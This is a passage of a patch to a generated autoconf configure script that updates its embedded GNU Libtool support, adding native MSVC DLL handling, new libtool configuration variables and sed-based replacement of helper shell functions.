+@@ -9475,9 +10066,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -10053,8 +10644,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -10087,13 +10679,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -10971,7 +11621,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 10974 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11015,10 +11665,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -11077,7 +11727,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11080 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11121,10 +11771,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -15505,13 +16155,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -15526,14 +16183,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -15566,12 +16226,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -15626,8 +16286,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -15637,12 +16302,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -15658,7 +16325,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -15694,6 +16360,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -16459,7 +17126,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -16562,19 +17230,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -16604,6 +17295,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -16613,6 +17310,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -16727,12 +17427,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -16819,9 +17519,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -16837,6 +17534,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -16869,210 +17569,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
